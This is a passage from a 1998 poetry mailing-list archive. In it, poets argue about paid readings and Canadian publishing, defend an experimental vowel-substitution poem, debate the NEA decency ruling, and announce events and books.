as for the canadian poetry association, they couldn't organize a piss up in a brewery. i know wayne ray(he has in fact read at one of my gigs) and he was blown away by the size of the crowd. i know i am lucky to have such success but i work pretty hard at getting people out to shows and making sure the poets and the venue people are happy.

yes, in canada, with shrinking arts money, the poet has to be the cook the thief the wife and her lover but stop whining about it and do something. i don't expect the canada council to give me any cash so i just do it myself and find friends of likewise enthusiasm.

the english department at my school does sweet frog all to promote creative writing but i don't see joining the plague of canadian poets as a cure-all to salve the wound this omision leaves.

if it can happen in londonOnt it can happen anywhere.

best,
kevin hehir

|----------| | Arsenic, a classic homicidal poison, occurs naturally | | in small amounts in many foods.
	The World of Chemistry Essentials

↑ Index

145. R. Gancie
those were his ethics
Sun 5 Jul 1998

"The paper has become, arguably, the single most important document in the field. Almost every history written about the computer, or about [John] von Neumann, credits him with the idea of the stored memory computer. Among scientists, computers are to this day known as von Neumann machines. Von Neumann was not the originator of the stored-program computer. As we have seen, the idea for such a machine was being discussed at the Moore School a year before von Neumann arrived on the scene, and [J. Presper] Eckert had written a memo on the subject almost six months before von Neumann had even heard about the Moore School project.... Why did von Neumann let the record stand? Eckert had a story and a theory, although it must be kept in mind that Eckert is not a disinterested witness. "We were in a railroad station, and a bunch of us were getting a meal," he related, "and when they were supposed to bring separate checks but didn't. When the girl arrived with this check and people said, 'Von Neumann, you're the mathematician,' and handed it to him as a joke. He looks it over and checks it out, and says, 'They forgot to put my crab shells on the bill. Other than that its all right. And this raises an ethical problem.' They said, 'What's that?' And he said, ' To take the saving myself or divide it among the rest of you.' Of course, he ignored the third possibility. "I began to believe those were his ethics."---from Engines of the Mind: The Evolution of the Computer from Mainframes to Microprocessors by Joel Shurkin---cp

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146. **Douglas Barbour**

Re: poetry & publishing

Sun 5 Jul 1998

It really is hard to know how to respond to Morpheal's postings on this matter. But I think he has if not been misled at least not been told everything. Let's see. As George & I have pointed out, there are a number of small presses in Canada which publish poetry & pay their writers. Alas, alas, that ever writer wrote, there are so many more writers writing than there are publishers publishing that each of these publishers must make choices. One editor of such a press told me last year that they were booked for at least the next 5 years, & had had to turn back over 200 mss they thought worthy of publication. But they can only afford to do about 8 books per year (as Charles Alexander also pointed out). In fact, publishing a book is a rather longish process, even with a completed, well edited, ms, & so with a small staff (& all small presses have very small staffs), getting out even those 8 books per year (or 10, or 12) is quite an effort. So, yes, undoubtedly, in Canada (& I'm sure in the US), there are far more unpublished poetry mss than there are published books. How the choice of what gets published is made is what grates for many. The publishers will insist they publish the best of what they receive; but each of them has its own aesthetic (political, economic, philosophical, etc.) agenda. Many on this list would feel that Norton, say, often shows very poor taste in its choices, for example. Anyway: the publishers are there; most of them behave ethically. But there are all those poets out there who haven't found them, or have submitted and been turned down, or.... That's how it goes in the nineties, in Canada (& elsewhere), in our world. And, yes, any number of younger writers have gone the way of self-publishing chapbooks, or of starting their own magazines; but it has been ever thus ... hasn't it?

Douglas Barbour (h) [403] 4363320 (b) [403]
[redacted]
Department of English
University of Alberta
Edmonton Alberta Canada T6G 2E5

> in the rooms you live in
> other people's books line your shelves
>
> the traces of their lives
> their minds
>
> too
>
> bpNichol

↑ Index

147. **Alan J.J.N. Sondheim**
Re: My Dark Secrets
Sun 5 Jul 1998

In any case, it's not incomprehensible. The translation is given below of course. And the substitution is simple - using a name like jennifer to replace a vowel, with the vowel in the middle like jennEifer to make sure it's read. I used a simple c program to do the substitutions.

I wanted a text that hides itself, but just so much - as well as a text that teeters on the edge of noise. I wanted a different sound. I wanted something that presented an easy way into its hermeneutics, that gave credence to the letter.

Alan

On Sun, 5 Jul 1998, Ryan Whyte wrote:

> *What you call 'incomprehensibility' is a product of specialization within the artworld in the absence of a concrete register of narratives authorized by, oh, say the church. And I'd go farther back than the world wars for the emergence of 'the modern art object,' whatever that actually is; even good old Jansen puts it at 1850 in certain places,1900 in others... you could say, though, that the precedent is set by the freedom from patronage enjoyed by certain quattrocento artists....*

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148. **Alan J.J.N. Sondheim**
oh
Sun 5 Jul 1998

oh there was also the thunder sounding from Finnegan that contributed, as well as the effects of chant, I'm reading Nichirin (about to move on though).

what would it be like to send a real suicide note - encrypted? with some attachment specifying the life and death reality of the situation. what if language poetry _is_ a twenty-volume suicide note?

Alan

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149. **toddbaron**
Re: My Dark Secrets
Sun 5 Jul 1998

Anthony Lawrence wrote:
>

> >My Dark Secrets
> >
> >
> >ThjennEiferrjennEifer juAlurjennEifer tnikIukomjennEifers whjennEifern I
> >wjuAlunt talOan dnikIukosgtraUvisnikIukosjennEifer memYilysjennEiferlf,
> >halOanld bjuAluck fralOanm emYilyalOantraUvis - njennEifervjennEiferr
> >juAludmnikIukot talOan fjuAlunikIukoltraUvisrjennEifer,
> >straUvisnikIukocnikIukodjuAlul tjennEiferndjennEiferncnikIukojennEifers
> >(nalOant juAlu bjuAlud bjuAlund!), lnikIukofjennEifer juAluftjennEiferr
> >djennEiferjuAluth, balOanth juAlu sttraUvisttjennEiferrjennEiferd
> >bjennEiferlnikIukojennEiferf nikIukon, juAlund
> >dnikIukomnikIukontraUvistnikIukoalOann alOanf, thjennEifer
> >SpnikIukornikIukot. ThjennEifern I wnikIukoll wrnikIukotjennEifer
> >nikIukontalOan thjennEifer thnikIukon juAlunikIukor, nikIukon juAlu
> >falOanrmjuAlut hnikIukoddjennEifern bemYily snjuAlurljennEiferd
> >wnikIukorjennEifers, tjuAlugs, bralOankjennEifern nalOandjennEifers -
> >juAlus nikIukof I calOantraUvisld juAluccalOanmplnikIukosh thjennEifer
> >pjennEiferrfjennEiferct mjuAlugnikIukoc bemYily memYily
> >cljennEifervjennEiferrnjennEiferss. ThjennEifer cjuAlusjennEifer
> >juAlulwjuAluemYilys brjennEiferjuAluks traUvisp lnikIukokjennEifer
> >thnikIukos; I'm ljennEiferft djennEiferstnikIukottraUvistjennEifer.
> >WhjennEifern I mjuAlusttraUvisrbjuAlutjennEifer nikIukon NjennEifert
> >sjennEiferx, thjennEifer walOanrst hjuAluppjennEiferns - thjennEifer
> >calOanmptraUvistjennEiferr's ttraUvisrnjennEiferd alOanff, I'm
> >ljennEiferft wnikIukoth stjuAlunikIukons juAlund djuAlumpnjennEiferss;
> >nnikIukoght sjennEiferjennEiferps thralOantraUvisgh thjennEifer
> >wnikIukondalOanws. I juAlum juAlulwjuAluemYilys wrnikIukotnikIukong
talOan
> >memYilysjennEiferlf...
>
> W.C.W. said something like:
> "Don't try to understand the Modern poem."
> He was right on the button, here.
>
> Anthony
>
> .....
> Anthony Lawrence
> PO Box 75
> Sandy Bay
> Tasmania 7006
--

He wouldn't have bothered--
this is more
superfluous
than secretive--
(is it possible
to waste "space"--
air--
?

"no ideas
but in things"

↑ Index

150. **morpheal**
Re: payment [of various kinds in various ways]
Sun 5 Jul 1998

> *readings. i have never had anyone pay me to read. for the last 5 years i have been organizing readings in galleries and pubs. the crowds have averaged about 47(witha max of 73 on one hot june night) yes i have been paid by the pub- once i took the 25 bucks from the barman and gave it to poet from hamilton to feed her boyfriend's camero.*

I have seen hardly any audiences of that size (47) at a gallery or pub around here. Also, here, mostly only other local poets, which is not really what it ought to be about.

> *and yes i usually get a few pints out of the evening.*

I had no idea that ever happens for anyone anywhere anymore.

> *i don't expect the canada council to give me any cash so i just do it myself and find friends of likewise enthusiasm.*

I do not expect to ever get a dime of grant money. That is a different story.

Perhaps it was my age. I am 44.

I might have been marginalized by younger, better connected, poets.

M.

↑ Index

151. **morpheal**

Re: poetry & publishing [Morpheal on the outside looking in]

Sun 5 Jul 1998

> *It really is hard to know how to respond to Morpheal's postings on this matter. But I think he has if not been misled at least not been told everything.*

It is worse than you imply, though on a deeper and more pervasive thread than simply the matter of pay to publish or be published and paid. That is only one issue amongst many, even if not the smallest of the issues. It appears I have been worse than misled, over the years, and I have not properly discerned what a friend is and what a ruthless competitor is, into the bargain.

Right now, my intuitive feel for it all is that my throat was cut, my tongue was torn out and my poetic voice largely silenced, by misinformation, disinformation, and marginalization, ageism and youthism, and academicism, and a few other isms throw in to boot. I was given the work of a Sisyphus and eventually the boulder was simply meant to wear away my energy, enthusiasm, my means for doing it, as well as my artistic progress. It has been effective at doing that. I am so tired to being asked to go a long distance to read to a dozen fellow poets, if anywhere, that I do not even pursue readings out of town anymore. I had no idea there was anything better. It was all I was shown of the poetic world, in terms of accessibility.

I seem to have missed the boat, because I was told by any I knew to talk to that the boat was not there. Either that or that we were already on it and on our way to the only destinations there were available. Either that or my knee caps were broken by a poetry thugs tire iron to keep me at dockside.

I was being killed and gutted while still believing that those doing it were doing their utmost to make a mutual success of it. How could I be so absolutely, preposterously, naive.

I will not bore you, or the other list members with the details of the whole experience. I know now that I was wasting my time completely, spinning my wheels, getting nowhere. Perhaps it is all that I deserved in terms of poetic merit. I cannot argue that point. However, I would have expected honesty in that regard from those I came upon, rather than hearing of laurels and being led to the idea that where we are is as far as anyone goes.

> *But there are all those poets out there who haven't found them, or have submitted and been turned down, or.... That's how it goes in the nineties, in Canada (& elsewhere), in our world. And, yes, any number of younger writers have gone the way of self-publishing chapbooks, or of starting their own magazines; but it has been ever thus ... hasn't it?*

I agree there is a diversity.

What has absolutely knocked me suddenly to the floor is that reputable, supposedly established, as well as up and coming, people who do poetry were all leading me to the belief that everyone pays to be published and no one is ever published anymore unless they pay to be published. They kept saying poetry does not sell. No one ever makes anything at this, not even costs.

What planet am I on. Who is truth. Who is lie. Who is doublespeak. I now have two very contrasting versions of "reality".

The one I was made to live within and the one on this list that is the experience of some others and seems equally true and reasonable. My worldview, my framework, has collapsed. The poetry world is not at all what it seemed to be, and it as though I never knew any of it at all.

M.

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152. **morpheal**

Re: oh [language as superstring encryption of competitive threads]

Sun 5 Jul 1998

> *what would it be like to send a real suicide note - encrypted? with some attachment specifying the life and death reality of the situation. what if language poetry _is_ a twenty-volume suicide note?*

All of language is full of encryptions: the words and phrases being composites of meaningful sounds. It might be considered that language as suicide note is only the submission in response to language as death threat. All of one's competitors are constantly uttering death threats in any sphere, including the poetic. The poet residing within the sphere of social Darwinism, technocratic tendencies, and within the domain of competition with rival species as well as within species, is besieged, and urged to complete what the competitors have not yet completed ? Is that the world we live in. I sometimes wonder. When do we get to experience anything else ? Is that only a naive dream, of a future that can never be attained, except in poetic fiction ?

M.

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153. *** PF03 UNDEFINED**

Re: free speech art pinsky judge etc

Sun 5 Jul 1998

Joe, thanks for your response. I went & read both O'Connor's ruling & Souter's dissent. (thanks Ron.) I was more convinced by O'Connor's argument that within a political context in which the decency/respect clause was a

compromise measure allowing the NEA to continue at all, the difference between the NEA using this guideline among others - content being recognized as an inseparable part of "artistic merit" - in order to award grants on the one hand, and the 1st Amendment right of free speech, on the other, is clear. Souter argues that the 1st Amendment denies the government the right to consider viewpoint in this process. O'Connor's position is more realistic: this is not a free speech issue but an issue of how the NEA is to continue providing arts grants in a divisive "multicultural" society. As long as the decency/respect clause is purely advisory, the NEA and funded artists are protected from suits which actually deny grants, and there is no ruling outlawing the right to fund "indecent" art as long as artistic merit outweighs the decency consideration.

By "realistic" I mean that as I see it realism implies the understanding that if the artist is seeking government funding for a project, then he/she should be aware that not only the constitutional issues are involved, but the sensibilities of the whole spectrum of the public. This is what I meant by saying earlier that "the shock artists understand this better than anyone". By saying they want it both ways, I am saying that their art is created (1) to shock sensibilities, to epater le bourgois, and (2) they want the full protection of the law not only to continue that project but to receive government funds to do so. By "realistic" I am saying that O'Connor's ruling recognizes that the body politic is not only a legal entity but a "body" endowed with sensibility (repressed as it may be), and as a result, the funds may not always be forthcoming. If this scandal brings to light the limitations of our democracy with respect to enlightened support for the arts, it might also bring to light the limitations of a legalistic approach to government arts funding.

O'Connor noted in her historical review of the case that Finley & her co- suitors were paid in full (after the lower court ruling) for grants not received as well as attorney's fees.

- Henry Gould

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154. Kenneth Goldsmith
FIDGET Online
Sun 5 Jul 1998

Stadium Projects announces the opening of:

Kenneth Goldsmith with Clem Paulsen FIDGET
http://stadiumweb.com/fidget

FIDGET is a java applet programmed by Clem Paulsen based on Kenneth Goldsmith's _FIDGET_, a transcription of recordings by Goldsmith in which he spoke

every body movement he made for thirteen hours on June 16, 1997 (Bloomsday). Goldsmith and Paulsen's collaboration have reconfigured the text of FIDGET to substitute the human body with the computer. The java applet reduces the text of FIDGET into its constituent elements of words and phrases. The relationships between these elements is structured by a dynamic mapping system that is organized visually and spatially instead of grammatically. In addition, the java applet invokes duration and presence. The applet is divided into 'chapters' for each of thirteen hours. Each time the applet is downloaded it begins at the approximate time of day it is being viewed and every mouse click or drag that the user initiates is reflected in the visual mapping system. The sense of time is reinforced by differing font sizes, background colors and degree of "fidgetness" for each hour (these parameters may also be altered by the user) and the diminishing contrast and eventual fading away of each phrase as seconds pass. FIDGET is a collaboration between Stadium, the Whitney Museum of American Art at Philip Morris, and Printed Matter. A collaboration with Goldsmith and vocalist Theo Bleckmann commissioned by the Whitney Museum of American Art, is made available online at Stadium via Real Audio. The text of FIDGET is also available online. The complete text of FIDGET along with an accompanying CD will be published this Fall by the Maryland Institute of Art.

http://stadiumweb.com. Send e-mail to [redacted]. Send mail to 400 w13th Street, New York City, NY 10014. Telephone [redacted] or fax [redacted]

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155. **Tom Orange**
My Dark Secrets
Mon 6 Jul 1998

---

don't bother to understand, incomprehensible, superfluous...

shall we say the same of the ur sonata, finnegans wake, canto 7 of altazor (huidobro), lastworda (mccaffery)? or more recently, michael coffey's javajazkya:

> Vasteny garsled Ombaly, tahk unda febala. Cune Ombali, Vasteny adwarl. Quersten formaladhin, Vasteny lorkaleet deveen.
>
> Trongar sebber destel. Quechebar pourtch ak tikavoorn, iodar ras. Las ludanay lablooner fum. Vasteny, Ombaly, garstule....

or dominque fourcade's xbo (tr. robert kocik):

M as mass on the tongue xbo
Page as edge (of tracer cadmiums)
Word as xbeity

different ways of getting at the same question: not *what* does it mean but *how* does it mean. i'd rather work on the question than dismiss it.

yrs in xbeity,
t.

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156. Ken Edwards
Conditions for Writing
Mon 6 Jul 1998

Apologies for cross-postings - originally posted to the British-Poets list.

---------- Begin Forwarded Message ----------

From: Ken Edwards, 100344,2546
To: British-poets, INTERNET:[redacted]
Date: Sun, Jul 5, 1998 10:21:01 pm

RE: Conditions for Writing

CONDITIONS FOR WRITING
Sat 4 July, Connaught Hall, London

About 30-40 people gathered for an all-day event marking the end of the King's Talk series organised by Bob Perelman during his year-long stay in London.

Due to my incompetence in reading the starting time, I arrived as Cris Cheek and Sianed Jones were in full flow demonstrating/expounding on "performance". Sianed's violin and voice as ever were in stunning synchronicity, while Cris remains a master of the ebb from fixed text to improvisation.

Miles Champion opened a segment on "scenes, values, generations, gender" by drawing attention to the work of some younger poets in North America with whom he felt an affinity, including Rod Smith, Brian Kim Stefans and Jeff Derksen. His presentation was engaging and uplifting and flew by too fast. Karlien van den Beukel, visibly nervous, followed with a presentation on poetry communities or the lack of them, drawing on a hilarious/horrific correspondence with certain "Cambridge school poets", identified (as in the film Reservoir Dogs) only by the colours Pink, White, Blue, etc.

Drew Milne and Caroline Bergvall discoursed on the difficulties of reconciling academic, creative and polemic practices. While they were admirably lucid and insightful, I found this segment of less use to me personally.

This densely packed morning ended with an "interactive reading" in which the above mentioned (minus Sianed) were joined by Khaled Hakim and Andrew Duncan for a poorly rehearsed (non rehearsed) panel game whose purpose was unclear. They ended up, at Bob Perelman's suggestion, reading each other's poems. Miles Champion's reading of Karlien van den Beukel's poem, and Cris Cheek of Caroline Bergvall's, were highlights.

Lunch. A core group found their way to an Indian restaurant in Drummond Street, a few others headed for the pub, some lost souls spent the interval I know not where.

The afternoon session, which began a good 40 minutes late, contained the first real longueur of the day. Andrew Duncan, misjudging the situation, read a paper on "Impersonality, Legitimacy and Prestige in Modern Poetry" in rather a quiet monotone. What I heard of it was interesting, but Andrew reacted badly to being reminded by Bob that he was overrunning, and insisted on finishing the paper. With over half an hour gone and no end in sight, the audience started getting restless, and one or two asked him to summarise the rest. Andrew declined, abandoning the paper instead. By way of contrast, he was followed by Khaled Hakim, who, in an entertaining performance that parodied Nietzche and Eastern mysticism while making use of a flipchart, harangued the audience on "The Way to Nothingness".

During the round table discussion that followed, Khaled was taken to task for nihilism. He responded cheerfully. I felt his act, based entirely upon an attack on the avant garde poetry community (as obscure a target as you could wish) was puzzlingly pointless, and wished he would use his undoubted satiric talents in more productive ways. The discussion continued - about an hour and a half past the promised finish time, it was beginning to drift towards chat, and, the basement room being somewhat airless, my friend and I left. A patchily interesting conclusion to what has been a mostly excellent series of talks. Many thanks to Bob for getting us British poetry folk (London chapter) to start talking to each other. What will we do after he's gone?

---------- End Forwarded Message ----------

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157. k.a. hehir

Re: payment [of various kinds in various ways]

Mon 6 Jul 1998

---

morpheal,
this is bullshit. i produce a place to read.that is it. if you want to
drive to london (2 hours away) come.... we'll set a date.

i have no time for whiny fudges that won't get off their asses.i offer you a venue maybe a beer and an audience.

if you can provide the transport i can provide the gig. give me two weeks.

get some friends make a night out of it.

i'll get on my bike and poster. i will get on my ego and slide.

if you want to piss with the big dogs let's do it!!!

DISCLAIMER i am only a local poet trying to make good. i do not guarentee large chapbook sales -----ask the bufalo bunch who camew down and onlygot heart burn.

some of us in the poetry industry make books(joel.chax, et al) some put on shows(me and {i'll beta tun of others} some) i'm not afraid to say that yeh-- i cn put a show on-- the bar makes 400 on a monday night and ,i get a buz. so what!!??

5 local poets got to shake their shit.

whether searching for the second boundry or in grained in grain.

the fact is that they read. in front of people. they read.

enough out,
kevin hehir

|----------| | Arsenic, a classic homici-
dal poison, occurs naturally | | in small amounts in many foods.
	The World of Chemistry Essentials

↑ Index

158. **k.a. hehir**
Re: payment [of various kinds in various ways]
Mon 6 Jul 1998

---

oh, mr. morpheal,
 i guess i should answer this as ayounger but less organized [poet.

best,
kevin

|----------| | Arsenic, a classic homici-
dal poison, occurs naturally | | in small amounts in many foods.
	The World of Chemistry Essentials

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159. **Joe Amato/Kass Fleisher**
Re: free speech art pinsky judge etc
Mon 6 Jul 1998

henry, thanx...

if we take it to the question of "artistic merit," then, we're stuck wondering why so many hairs are being split for what is, i think it fair to say, a relatively small (and gettings smaller) *national* endowment... that is, "quality," "excellence" and the like are deployed helter-skelter throughout our institutions (profit, non-profit, postsecondary incl.), often with little if any concern for what these words actually *mean*...

but here comes something called "art," so i guess 'we the people' (the govt. that is) must split hairs here?... must be sure it doesn't "offend," as though "the quality goes in/before the name goes on" doesn't offend?...

you get my drift... i read the situation over at the nea as, again, part & parcel of a larger political reality... i don't read it as a primarily *legal* or intellectual debate about the nature of judging art---though of course, once it goes to the supreme court, that's the way it's treated (but how did it get there in the first place?)---and i don't read it as a matter of public domain ethix (which, as i'm trying to suggest, are entirely fraught in so many ways when it comes to that which is advertised---or, to put it another way, just about everything)... clearly there *are* constitutional issues at stake, and i can already hear the conservatives arguing that 'public funding of the arts is a matter of constitutional law'... but in a ruthless economy like ours, where huge public funding goes to 'high-quality' weapons systems, that claim falls on my deaf ears, anyway---there's more injustice to be sought elsewhere, and art, at its best, helps point the way(s)... so perhaps the question that needs to be asked is, why the lack of faith in art, as opposed to the pentagon?... or is this manufactured too?...

cbs's 'sunday morning' did a feature spot yesterday, btw, on the new director of the nea, former head of the country music association, bill ivy (if i've spelled his name right)... guy holds two masters degrees---one in folklore, one in ethnomusicology... nobody in congress objected to appointing him head---which should at least raise an eyebrow or two... this guy makes the bluebird cafe (in nashville) one of his regular hangouts... on the surface, i kinda like this, but---thing is, in his first public address, he indicated that everyone should be listening closely to what was being said by congress re the nea (read, and i'm not alone here, *capitulation*)... this guy is an antique maven, and in the very last segment, the reporter flew off into the wild blue yonder with ivy, him piloting his restored yellow 1939 piper scout---her saying that this might be symbolic of his leadership of the nea... i thought it was a clever way to conclude the piece,

suggesting perhaps movement forward with an eye toward history (ivy's take, no doubt), OR a sort of retro progression (mine)...

well anyway... thanx for the back & forth on this...

best,

joe

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160. **HENRY**
Re: free speech art pinsky judge etc
Mon 6 Jul 1998

Joe, my lens on this is narrow (maybe fogged); when you get gov't funding for art you inevitably get all the legal/political baggage along with it, & I just found the O'Connor ruling making more sense than Souter. Her review of the history, if I remember right, quoted some advisory panel on the "artistic merit" issue - or maybe it was a congressperson - saying what you said, that judging "quality" is not an exact science. But what you say about the larger perspective - the draconian attacks on NEA in the context of other "funding" issues - the whole repressive atmosphere in a "market" environment which is its opposite or evil twin - should be the theme of somebody's truly political art - a lot of potential for comedy there - Henry

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161. **Joe Amato/Kass Fleisher**
Re: free speech art pinsky judge etc
Mon 6 Jul 1998

---

henry, thanx again...

i think some of the very same issues we're discussing were drudged up a few years back... to be bookish about it, and apologies for the lack of full citations, but i've dug out michael c. dorf's "artifactions: the battle over the nea" (my copy repro'd in _the brookings review_, winter 93; dorf argues reasonably for a rethinking of this approx. 30 year old institution, but w/o trying to make art "safe" for the world, or vice versa)... and a piece from (i think it's) steven c. dabin's _arresting images_ (routledge, 92, pp. 278-293; nice history of the conflicting issues)...

yes, i wish preston sturges were still around to have a go at this!... it's not about *rights*, exactly---it's about whether and how the govt. should/should not involve itself in funding the arts... in general, i think lbj was on the mark when he passed legislation that said, in effect, yes... now, clearly there are members of

congress who, together, would like to render a 'no'---and in the absence of a 'no,' will chip away at the 'yes' bit by bit... which is why i discuss same in terms of politics per se...

anyway, hey, happy trails, folks///

best,

joe

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162. **charles alexander**
Re: free speech art pinsky judge etc
Mon 6 Jul 1998

At 09:14 AM 7/6/98 -0500, you wrote:
but in a ruthless economy like ours, where huge public funding goes
>to 'high-quality' weapons systems, that claim falls on my deaf ears,
>anyway---there's more injustice to be sought elsewhere, and art, at its
>best, helps point the way(s)... so perhaps the question that needs to be
>asked is, why the lack of faith in art, as opposed to the pentagon?

Joe, I think you have hit on it here. In addition to the religious right, even among the liberal left, there is not a belief that art functions in this way. My own sense of education at the most 'elite' universities, one of which I attended, is that, beyond the very few who are actually studying in studio art programs, the attitude is that art is a kind of high-level leisure activity, linked more with tennis than with politics. So that even when it's OK to advocate for the arts, people trained in such institutions (which would include a good number of high-level government folks in both major parties), they are advocated more for their importance as 'recreation' than because they "help point the way," as you say. And of course, as the famous bumper sticker by Dorn goes: RECREATION wrecks the nation

charles

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163. **Peter Balestrieri**
Chain of _Dark Secrets_
Mon 6 Jul 1998

Regarding Todd Baron's post regarding Anthony Lawrence's post regarding Alan Sondheim's _Dark Secrets_ post:

Todd wrote:

He wouldn't have bothered--
this is more
superfluous
than secretive--
(is it possible
to waste "space"--
air--
?

"no ideas
but in things"

Todd - Why the ire? The space that you perceive as "wasted" is dedicated to this kind of work and discussion of same. Perhaps you'd rather see ALL List space dedicated to discussions of commerce and dead people.

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164. Field of Roses
Re: My Dark Secrets
Mon 6 Jul 1998

From: "Alan J.J.N. Sondheim" <[redacted]>
Subject: Re: My Dark Secrets

In any case, it's not incomprehensible. The translation is given below of course. And the substitution is simple - using a name like jennifer to replace a vowel, with the vowel in the middle like jennEifer to make sure it's read. I used a simple c program to do the substitutions.

I wanted a text that hides itself, but just so much - as well as a text that teeters on the edge of noise. I wanted a different sound. I wanted something that presented an easy way into its hermeneutics, that gave credence to the letter.

Alan

"You know you're in trouble when everyone understands your work all the time". - bpNichol-

Linda Charyk Rosenfeld

↑ Index

165. Alan J.J.N. Sondheim
*Re: Chain of _Dark Secrets_*
Mon 6 Jul 1998

On Mon, 6 Jul 1998, toddbaron wrote:

> *interesting--"ire"*
> *as you have put it*
> *is the word that fits*
> *yr response to a reponse*
> *on a piece of writing that I*
> *truly belived was superfluous--*

the word is "believe" I believe.

> *and the question was "can*
> *space be wasted" --you*
> *didn't post an answer--*
> *but "ire" can be--*

Aren't you wasting space here? What sort of space is wasted in cyberspace?
>
> I have long ago dismissed a oetics that engages the language in a
> self-ish
> way--that is--wherer one tries to force the language
> into an "experimental" form--for the sake of being that thing others
> would call "experimental" --the piece I responded to wasn't doing
> anything--
> Why discuss it, then--if, in my mind--I already have?

Well good for you - everything in your mind determines the world you evil solipsist.
And "force" the language into an ""experimental"" form? The language wasn't
wiling to go? I raped it, maybe? Murdered it?
And fuck how well you know my intentions "for the sake of being that thing others would call "experimental" -
This just is fucking ugly. You don't know me or my intentions in fact, or what the "sake" of the writing is.
I have no idea who you are but this is lousy criticism and lousy poetics.

And for your information pieces don't do anything - readers do.

Alan

> *Look at and discuss*
> *more interesting work--in my selfish(yes) mind--*
> *Let's discuss the latest work by Norma Cole--"Desire and its Double--*
> *instead--*
>
> *"no ideas but*
> *in things"*
>
> *define*

> *"ideas"*
> *and "things"*
>
> *--*
>
> *not "ire"*

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166. Alan J.J.N. Sondheim
clarification
Mon 6 Jul 1998

I want to make it clear that I'm not reacting to TB's disliking of my work - it's the disdain and dismissive attitude. There is A LOT of poetry and poetics I don't like - but would still give serious reply to on the list here, recommend, etc., depending on taste. I get tired, awfully tired, of the harrrummmpppttth attitude which grows and grows and grows as language tangles itself back into tradition. Before I know it I'll be desperate to go out in the streets and scream I want my baby back or something to that effect.

Alan stamping on all-too-well-trodden ground

↑ Index

167. Miekal And
fuck clarification (after malok)
Mon 6 Jul 1998

fuck I fuck want fuck to fuck make fuck it fuck clear fuck that fuck I'm fuck not fuck reacting fuck to fuck TB's fuck disliking fuck of fuck my fuck workfuck - it's fuck the fuck disdain fuck and fuck dismissive fuck attitude. fuck There fuck is fuck A fuck LOT fuck of fuck poetry fuck and fuck poetics fuck I fuck don't fuck like - fuck but fuck would fuck still fuck give fuck serious fuck reply fuck to fuck on fuck the fuck list fuck here, fuck recommend, fuck etc., fuck depending fuck on fuck taste. fuck I fuck get fuck tired, fuck awfully fuck tired, fuck of fuck the fuck harrrummmpppttth fuck attitude fuck which fuck grows fuck and fuck grows fuck and fuck grows fuck as fuck language fuck tangles fuck itself fuck back fuck into fuck tradition. fuck Before fuck I fuck know fuck it fuck I'll fuck be fuck desperate fuck to fuck go fuck out fuck in fuck the fuck streets fuck and fuck scream fuck I fuck want fuck my fuck baby fuck back fuck or fuck something fuck to fuck that fuck effect.

fuck Miekal fuck stamping fuck on fuck all-too-well-trodden fuck ground

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168. **louis stroffolino**
Re: China 2
Mon 6 Jul 1998

Hey, did you see the cover of newsweek a couple weeks back with the young chinese holding american flag phallus (i mean baseball bats--with apologies to bill luoma) balloon like things and then the spread about the New china (it's becoming just like america; they're even christian, mao unwittingly did capitalism's dirty work by clearing out the indigenous religions, etc.) wonder what charles bernstein's chinese translator would say about THAT..... chris

On Fri, 3 Jul 1998, Louis Cabri wrote:

> *China 2*
>
> *This is a great wall.*
> *It's quite unbelievable, isn't it?*
> *The numbers don't pay.*
> *Feelings go away.*
> *Our psyches are real!*
> *"Fuck you" to the television.*

↑ Index

169. **Safdie Joseph**
Re: Jeff Clark
Mon 6 Jul 1998

So I gather by the underwhelming response that most listfolk agree with Erik below about it being perfectly acceptable that one of our brethern is, apparently, an FBI agent on the side (unless, of course, the identification in _APR_ is a spoof).

It's not that I had a "nice, clever list of jobs that would be acceptable" for a poet, Erik -- it's that I think some professions DO make poetic work questionable (to say the least!) -- as I said, this is an "extra-textual" concern, which might also make it off -limits to some folk here.

I doubt very much that Mr. Clark is a fed...
even if he was who cares...

do all of you that would have a problem with this have a nice
clever list of jobs that are acceptable for a "poet"
good for you.

rulesthatwillgetyounowhere

erik sweet

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170. **Steven Clay**
Ted Berrigan
Mon 6 Jul 1998

Granary Books announces the publication of
Ted Berrigan: An Annotated Checklist
by Aaron Fischer

"This handsome edition combines Aaron Fischer's literary detective work, lively commentary by Berrigan's friends and publisers, and a generous selection of witty collaborative art works by Berrigan and George Schneeman. I will treasure this book." -Ron Padgett, poet, translator, and author of Ted: A Personal Memoir

Poet, editor and publisher of the legendary "C" Press Ted Berrigan (1934-1983) was a charismatic presence on the literary scene of New York's Lower East Side during the '60s and '70s. "Fiercely unpretentious, intensely self-absorbed, prodigious in his ambition and energy, Berrigan did more than create a substantial body of poetry. He also embodied a spirit that gave meaning to many other writers' lives," wrote Ken Tucker shortly after Berrigan's death. Through anecdotal descriptions Ted Berrigan: An Annotated Checklist provides a vivid glimpse of one writer's life as seen through his publications. Statements and stories from collaborators and friends such as Ron Padgett and Anne Waldman give this book an on-the-spot character which separates it from the usual dry checklist. Lewis Warsh's poignant introduction "Publishing Ted" sets the stage for a fascinating look into the inner workings of the literary underground during its heyday. Amply illustrated with 27 never-seen-before "literary pictures"-collaborations between Berrigan and painter George Schneeman-this is an important new contribution to the Berrigan canon as well as a useful tool for understanding one of the richest eras of American literary history.

Paper $32.95 (ISBN 1-887123-17-2)
7 x 10" 72 pp. illustrated in color and black & white
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171. **Pritchett,Patrick**
Re: [redacted]
Mon 6 Jul 1998

Friday night, July 3, Peter Lamborn Wilson and Lawrence Ferlinghetti read to a packed house at the Naropa Performing Arts Center. Mats were thrown on the hardwood floor to accommodate the huge crowd lined up outside the door. There was barely room to swing a cat. But the air was wild with poetry.

Peter Lamborn Wilson, bemused by having so vast an audience at his disposal, opened the evening by reading his essay "Praying in Darkness," the latest installment in the ongoing Lectures in Strange Anthropology series founded by Peter and others in honor of the late Harry Smith, this latest edition dedicated to Ferlinghetti. "Praying" is a fascinating historical exegesis of the flourishing, debasment and gradual re-emergence of Manchu shamanism. It begins with an account of an epic poem about Neshan, a proto-feminist shamaness who undertakes the traditional voyage to the land of the dead and upon her return rejects all efforts by the priesthood to submit to marriage and give up her visionary ways. Shamans, noted Peter, are associated with a nomadic way of life and have the ability to present directly to others the spirit world. Priests, on the other hand, as agents of agrarian culture who can only represent the spirit world, have a vested interest in suppressing shamans. Peter went on to speak of how the cooked masculine culture continued to absorb and vitiate the raw feminine shamanic tradition under the Ming and Manchu dynasties until it became little more than empty court ritual of the sort used to install the puppet emperor Pu Yi as late as 1911. With the death of Mao, however, it is showing some signs of a comeback in the remote Northern provinces. A "something that refuses to be defined," a wildness that resists all attempts to subjugate it, is 